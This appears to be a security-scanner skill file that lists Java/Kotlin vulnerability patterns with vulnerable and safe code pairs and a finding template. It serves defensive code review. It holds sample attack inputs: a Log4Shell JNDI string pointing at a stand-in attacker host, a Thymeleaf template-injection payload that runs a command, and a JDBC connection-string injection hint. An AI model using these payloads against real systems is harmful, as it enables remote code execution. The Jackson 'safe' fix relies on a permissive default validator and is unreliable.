ersinkoc SC: Java/Kotlin Security Deep Scan
Purpose
Detects Java/Kotlin-specific security anti-patterns including deserialization gadget chains, JNDI injection (Log4Shell patterns), Spring framework vulnerabilities, XML parsing XXE, and Kotlin-specific interop risks. Covers the JVM ecosystem's unique attack surface.
Activation
Activates when Java or Kotlin is detected in security-report/architecture.md.
Checklist Reference
References references/java-security-checklist.md.
Java/Kotlin-Specific Vulnerability Patterns
Category 1: Java Deserialization
// VULNERABLE: ObjectInputStream with untrusted data
ObjectInputStream ois = new ObjectInputStream(socketInputStream);
Object obj = ois.readObject(); // Gadget chain → RCE
// SAFE: Deserialization filter (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.dto.*;!*"
);
ois.setObjectInputFilter(filter);
// SAFEST: Use JSON/protobuf instead
Category 2: JNDI Injection (Log4Shell Pattern)
// VULNERABLE: User input reaching JNDI lookup
ctx.lookup(userInput); // userInput = "ldap://attacker.com/exploit"
// Log4j pattern: logger.info("User: " + userInput);
// If userInput = "${jndi:ldap://attacker.com/a}" → RCE
// SAFE: Disable JNDI lookups, update Log4j 2.17.1+
System.setProperty("log4j2.formatMsgNoLookups", "true");
Category 3: Spring SpEL Injection
// VULNERABLE: User input in SpEL expression
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
Object result = exp.getValue(); // Code execution!
// SAFE: Use SimpleEvaluationContext (restricts available types)
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Object result = exp.getValue(context);
Category 4: Spring Actuator Exposure
# VULNERABLE: Actuator endpoints exposed without auth
management:
endpoints:
web:
exposure:
include: "*" # Exposes /actuator/env, /actuator/heapdump, etc.
# SAFE: Restrict actuator endpoints
management:
endpoints:
web:
exposure:
include: health,info
Category 5: Hibernate HQL Injection
// VULNERABLE: String concatenation in HQL
String hql = "FROM User WHERE name = '" + name + "'";
Query query = session.createQuery(hql);
// SAFE: Named parameters
Query query = session.createQuery("FROM User WHERE name = :name");
query.setParameter("name", name);
Category 6: Servlet Parameter Pollution
// VULNERABLE: Using getParameter when multiple values exist
String role = request.getParameter("role");
// If URL is ?role=user&role=admin, behavior depends on container!
// SAFE: Be explicit about handling
String[] roles = request.getParameterValues("role");
Category 7: Runtime.exec Command Injection
// VULNERABLE: Single string to exec (uses shell on some platforms)
Runtime.getRuntime().exec("cmd /c dir " + userInput);
// SAFE: Array form
new ProcessBuilder("dir", userInput).start();
// But still risky with cmd.exe — prefer direct binary execution
Category 8: XML Parsing XXE
// VULNERABLE: Default DocumentBuilderFactory allows XXE
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Document doc = dbf.newDocumentBuilder().parse(inputStream);
// SAFE: Disable external entities
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Category 9: Kotlin Null Safety via Java Interop
// VULNERABLE: Java method returns null, Kotlin assumes non-null
val name: String = javaObject.getName() // NPE if getName() returns null!
// Java's @Nullable annotations may not be enforced
// SAFE: Treat Java return values as nullable
val name: String? = javaObject.getName()
val safeName = name ?: "default"
Category 10: Kotlin Coroutine Exception Handling
// VULNERABLE: Unhandled exception in coroutine cancels parent scope
scope.launch {
riskyOperation() // Exception kills entire scope!
}
// SAFE: SupervisorJob or exception handler
val handler = CoroutineExceptionHandler { _, ex -> log.error("Error", ex) }
scope.launch(handler + SupervisorJob()) {
riskyOperation()
}
Category 11: Reflection Security
// VULNERABLE: Reflection bypasses access control
Field field = User.class.getDeclaredField(userInput);
field.setAccessible(true); // Bypasses private!
field.set(user, newValue);
// SAFE: Never use user input in reflection operations
Category 12: JDBC Connection String Injection
// VULNERABLE: User input in connection string
String url = "jdbc:mysql://db:3306/" + userInput;
DriverManager.getConnection(url);
// User can inject: dbname?autoDeserialize=true&queryInterceptors=...
// SAFE: Validate database name, use connection pool config
Category 13: SecureRandom vs Random
// VULNERABLE: java.util.Random is predictable
Random random = new Random();
String token = Long.toHexString(random.nextLong());
// SAFE: SecureRandom for security-sensitive values
SecureRandom random = new SecureRandom();
byte[] bytes = new byte[32];
random.nextBytes(bytes);
Category 14: Gradle/Maven Supply Chain
- Check for untrusted plugin repositories in build.gradle
- Review custom Gradle plugins for code execution
- Verify dependency checksums
- Check for repository substitution attacks (internal→public)
Category 15: Thymeleaf SSTI
// VULNERABLE: User input in Thymeleaf template string
String template = "Hello " + userInput;
templateEngine.process(template, context);
// userInput = "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x"
// SAFE: User input as template variable
model.addAttribute("name", userInput);
templateEngine.process("hello", context); // hello.html: <span th:text="${name}">
Category 16: JSP Expression Language Injection
<!-- VULNERABLE: User input in EL expression -->
<c:out value="${param.name}" /> <!-- Generally safe with c:out -->
${param.name} <!-- Direct EL is NOT auto-escaped in JSP! XSS -->
<!-- SAFE: Use JSTL c:out or fn:escapeXml -->
<c:out value="${param.name}" escapeXml="true" />
Category 17: Spring Mass Assignment
// VULNERABLE: All fields bound from request
@PostMapping("/users")
public User create(@ModelAttribute User user) {
return repo.save(user); // role, isAdmin settable!
}
// SAFE: Use DTO
public User create(@RequestBody CreateUserDTO dto) { /* map fields */ }
// Or use @InitBinder to exclude fields
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.setDisallowedFields("role", "isAdmin");
}
Category 18: Spring Security Misconfiguration
// VULNERABLE: CSRF disabled, all requests permitted
http.csrf().disable()
.authorizeRequests().anyRequest().permitAll();
// SAFE: Proper security configuration
http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.authorizeRequests()
.antMatchers("/api/public/**").permitAll()
.antMatchers("/api/admin/**").hasRole("ADMIN")
.anyRequest().authenticated();
Category 19: File Upload Security
// VULNERABLE: No type or size validation
@PostMapping("/upload")
public void upload(@RequestParam("file") MultipartFile file) {
file.transferTo(new File("/uploads/" + file.getOriginalFilename()));
}
// SAFE: Validate type, size, sanitize filename
if (!ALLOWED_TYPES.contains(file.getContentType())) throw new BadRequest();
String filename = UUID.randomUUID() + getExtension(file.getOriginalFilename());
Category 20: Jackson Polymorphic Deserialization
// VULNERABLE: DefaultTyping enables polymorphic deserialization
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // Allows arbitrary class instantiation!
// SAFE: Don't enable default typing, or use allowlist
mapper.activateDefaultTyping(
mapper.getPolymorphicTypeValidator(),
ObjectMapper.DefaultTyping.NON_FINAL
);
Output Format
Finding: JAVA-{NNN}
- Title: Java/Kotlin-specific vulnerability
- Severity: Critical | High | Medium | Low
- Confidence: 0-100
- File: file/path:line
- Vulnerability Type: CWE-XXX
- Description: What was found
- Remediation: Java-idiomatic fix
- References: CWE link, Spring/JVM documentation